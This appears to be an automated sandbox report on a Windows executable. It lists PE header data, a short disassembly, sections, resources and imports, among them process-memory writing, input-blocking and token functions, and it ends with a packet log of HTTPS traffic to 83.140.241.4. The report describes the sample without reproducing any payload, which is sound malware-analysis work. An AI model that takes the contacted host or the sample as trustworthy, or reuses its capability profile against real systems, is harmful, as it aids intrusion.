File Content Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..PG."(...PG.+PF..RG..9I.{PG..9D.PG..9..PG

File Icon


Icon Hash:	13ebebe37b0db4f9

Static PE Info

General

Entrypoint:	0x14002549c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FC4D92 [Tue Oct 1 19:29:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	fadc5a257419d2541a6b13dfb5e311e2

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8C24834730h
dec eax
add esp, 28h
jmp 00007F8C2483403Fh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009466Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F8C24835C49h
dec eax
lea eax, dword ptr [0009467Dh]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [00094674h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00094659h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009460Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F8C24835BE9h
dec eax
lea eax, dword ptr [00094645h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0009463Ch]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00000021h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5c10	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfb000	0xed7cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xf4000	0x6f48	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e9000	0xa74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc7050	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd9aa0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xc7070	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb5000	0x1138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb3328	0xb3400	507a8505198e35cc9675301d53e3b1c4	False	0.5503358721234309	data	6.5212967575920215	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb5000	0x34204	0x34400	9eda36be0cf076085a2f9772c1ee5803	False	0.30884139503588515	data	5.360588077813426	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xea000	0x9120	0x5000	ec6b77d6ef8898b0d3b7d48c042d66a0	False	0.040673828125	DOS executable (block device driver)	0.5749243362866429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xf4000	0x6f48	0x7000	4416e27f8be9f9271c439d2fd34d1b2d	False	0.49612862723214285	data	5.911479421450324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xfb000	0xed7cc	0xed800	bec808d7dc177cca1390dc1ada2ac9e2	False	0.9320888157894737	data	7.852477011959672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e9000	0xa74	0xc00	5ddb0e422ace102fe530e589a0cbec6f	False	0.4850260416666667	data	5.139847116863034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xfb518	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xfb640	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xfb768	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xfb890	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	Great Britain	0.6071763602251408
RT_ICON	0xfc938	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	Great Britain	0.525103734439834
RT_ICON	0xfeee0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	Great Britain	0.47821209258384506
RT_ICON	0x103108	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	Great Britain	0.36631964982846327
RT_ICON	0x113930	0xc34e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9994999799991999
RT_MENU	0x11fc80	0x50	data	English	Great Britain	0.9
RT_STRING	0x11fcd0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0x120264	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0x1208f0	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0x120d80	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0x12137c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0x1219d8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0x121e40	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0x121f98	0xc62e0	data			1.00031537036307
RT_GROUP_ICON	0x1e8278	0x4c	data	English	Great Britain	0.8157894736842105
RT_GROUP_ICON	0x1e82c4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1e82d8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x1e82ec	0x14	data	English	Great Britain	1.25
RT_VERSION	0x1e8300	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1e83dc	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
USER32.dll	GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
GDI32.dll	EndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	VariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:30:02.084697962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.084747076 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:02.084844112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.096025944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.096056938 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:02.862026930 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:02.862095118 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.866838932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.866856098 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:02.867249966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:02.879070044 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:02.923398018 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.431181908 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.431230068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.431256056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.431291103 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.431329012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.431343079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.431425095 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.433111906 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.433140039 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.433166027 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.433172941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.433198929 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.433355093 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.538320065 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.538351059 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.538427114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.538427114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.538449049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.538562059 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.541508913 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.541534901 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.541560888 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.541565895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.541598082 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.541635990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.544511080 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.544538975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.544569969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.544574022 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.544629097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.544629097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.547097921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.547169924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.547220945 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.547224998 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.547367096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.683109999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.683139086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.686415911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.686440945 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.686458111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.686495066 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.686631918 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.688842058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.688865900 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.688941002 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.688941002 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.688946962 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.690525055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.690546989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.690583944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.690588951 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.690614939 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.693089008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.693106890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.693145990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.693151951 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.693177938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.694807053 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.694830894 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.694853067 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.694859028 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.695425034 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.741087914 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.812248945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.812294006 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.812408924 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.812408924 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.812432051 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.815421104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.837470055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.837517023 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.837565899 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.837575912 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.837625980 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.837625980 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.839843988 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.839888096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.839932919 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.839946985 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.839982033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.841835976 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.841892004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.841928005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.841933966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.841958046 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.843321085 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.843367100 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.843368053 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.843424082 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.843431950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.843468904 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.844769955 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.844952106 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.845001936 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.845041990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.845053911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.845087051 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.846863985 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.846913099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.846963882 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.846976995 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.847007036 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.848664999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.848707914 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.848714113 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.848742008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.848754883 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.848777056 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.850841999 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.867417097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.868978977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.898144960 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.898180008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 7, 2024 21:30:03.898284912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.898284912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 7, 2024 21:30:03.898293018 CEST	443	49730	83.140.241.4	192.168.2.4
